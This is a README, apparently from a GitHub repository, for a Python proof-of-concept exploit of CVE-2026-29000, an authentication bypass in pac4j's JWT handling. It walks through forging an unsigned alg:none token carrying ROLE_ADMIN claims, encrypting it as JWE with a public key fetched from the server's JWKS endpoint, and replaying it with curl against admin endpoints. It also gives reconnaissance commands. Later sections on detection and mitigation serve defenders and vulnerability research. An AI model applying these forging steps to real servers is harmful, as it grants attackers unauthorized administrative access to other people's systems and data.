
Python POC, Exploit for CVE-2026-29000
Proof of Concept for CVE-2026-29000 - A critical authentication bypass vulnerability in pac4j JWT implementation that allows attackers to forge admin tokens without a valid signature.
This tool is provided for educational and authorized security testing purposes only. The author assumes NO responsibility for any misuse, damage, or illegal use of this exploit.
This vulnerability exploits a flaw in pac4j's JWT authentication mechanism where the library:
alg: "none" in the JWT headerAn attacker can craft an unsigned JWT with arbitrary claims (like role: "ROLE_ADMIN"), encrypt it in a JWE container using the server's public key, and gain unauthorized access to admin functionalities.
For this exploit to succeed, the target server must satisfy ALL of the following conditions:
The server must expose its public keys via one of these endpoints:
/.well-known/jwks.json (standard OAuth/OIDC endpoint)/api/auth/jwks (custom endpoint)Why: The exploit automatically fetches the server's public key to encrypt the forged JWE token.
The server must:
role claim in the JWT payloadROLE_ADMIN)Common Roles:
ROLE_ADMIN - Full administrative accessROLE_USER - Standard user accessThe server must:
The application must use pac4j with:
"none" or inadequate algorithm validationrequests, jwcrypto# Clone the repository
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000
# Install dependencies
pip install -r requirements.txt
requests>=2.28.0
jwcrypto>=1.4.0
python3 exploit.py <TARGET_URL>
Example:
python3 exploit.py http://vulnerable-app.local:8080
The script will:
role: "ROLE_ADMIN"python3 exploit.py http://vulnerable-app.local:8080 --username john
python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR
If the JWKS endpoint is not publicly accessible, provide the JWK manually:
python3 exploit.py http://vulnerable-app.local:8080 \
--jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'
python3 exploit.py http://vulnerable-app.local:8080 \
--username hacker \
--role ROLE_ADMIN \
--jwk '{"keys":[{...}]}'
The exploit outputs a JWE token in the following format:
Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...
Use the token in HTTP requests to access protected endpoints:
# Using curl
curl -H "Authorization: Bearer <JWE_TOKEN>" \
http://vulnerable-app.local:8080/api/admin/dashboard
# Using Python requests
import requests
headers = {"Authorization": f"Bearer {jwe_token}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)
curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
http://vulnerable-app.local:8080/api/users/list
header = {"alg": "none", "type": "JWT"}
payload = {
"sub": "admin", # Username
"role": "ROLE_ADMIN", # Privilege level
"iss": "principal-platform", # Issuer
"iat": 1234567890, # Issued at
"exp": 1234571490 # Expiration (1 hour)
}
The JWT is created with no signature (alg: "none"), which is normally invalid but accepted by vulnerable servers.
The exploit queries:
/.well-known/jwks.json (OAuth/OIDC standard)/api/auth/jwks (custom endpoint)This retrieves the server's RSA public key needed for encryption.
The unsigned JWT is encrypted using:
This creates a JWE token that the server can decrypt but won't verify the inner signature.
The JWE token is included in the Authorization header:
Authorization: Bearer <JWE_TOKEN>
The vulnerable server decrypts it and extracts the unsigned JWT, trusting the claims without verifying the signature.
Unsigned JWT (alg:none)
↓
Wraps in JWE (with server's public key)
↓
Server receives JWE token
↓
Server decrypts JWE
↓
Extracts inner unsigned JWT
↓
❌ Server does NOT verify signature
↓
✅ Accepts claims as valid (role: ROLE_ADMIN)
↓
Attacker has admin access!
JWKS Endpoint Exposure
/.well-known/jwks.json or /api/auth/jwks is publicly accessibleJWT Validation Logs
alg: "none"Configuration Review
# Reconnaissance
curl -s http://target:8080/.well-known/jwks.json | jq .
curl -s http://target:8080/api/auth/jwks | jq .
# Check if JWE tokens are accepted
curl -H "Authorization: Bearer eyJ..." http://target:8080/api/protected
Enforce Signature Verification
// BAD - Accepts unsigned tokens
JwtAuthenticator jwt = new JwtAuthenticator();
jwt.setAlgorithm(null); // ❌ Vulnerable
// GOOD - Requires valid signature
JwtAuthenticator jwt = new JwtAuthenticator(publicKey);
jwt.setAlgorithmsAllowedForSigning(Arrays.asList("RS256")); // ✅ Secure
Validate JWT Algorithm
alg: "none"Disable JWE if Not Needed
Update pac4j
Add Token Validation Layers
exp claim)iss claim)Restrict JWKS Endpoint Access
location /.well-known/jwks.json {
allow 10.0.0.0/8; # Internal networks only
deny all;
}
Monitor Authentication Logs
alg: "none"Network Segmentation
Regular Security Audits
@Configuration
public class SecurityConfig {
@Bean
public JwtAuthenticator jwtAuthenticator() {
JwtAuthenticator authenticator = new JwtAuthenticator();
// ❌ VULNERABLE: No signature verification
authenticator.setAlgorithmsAllowedForSigning(null);
authenticator.setJwtClaimsValidation(false);
return authenticator;
}
@Bean
public JWEEncrypter encrypter() {
// Accepts JWE but doesn't verify inner JWT
return new JWEEncrypter();
}
}
This exploit is provided for educational and authorized security testing purposes only.
Unauthorized access to computer systems is illegal. This tool should only be used on:
The authors are not responsible for misuse or damage caused by this tool.
MIT License - See LICENSE file for details
Found a bug? Have improvements?
git checkout -b feature/improvement)git commit -m 'Add improvement')git push origin feature/improvement)For issues, questions, or suggestions:
Last Updated: May 2026
Author: Security Research Team
Status: Educational PoC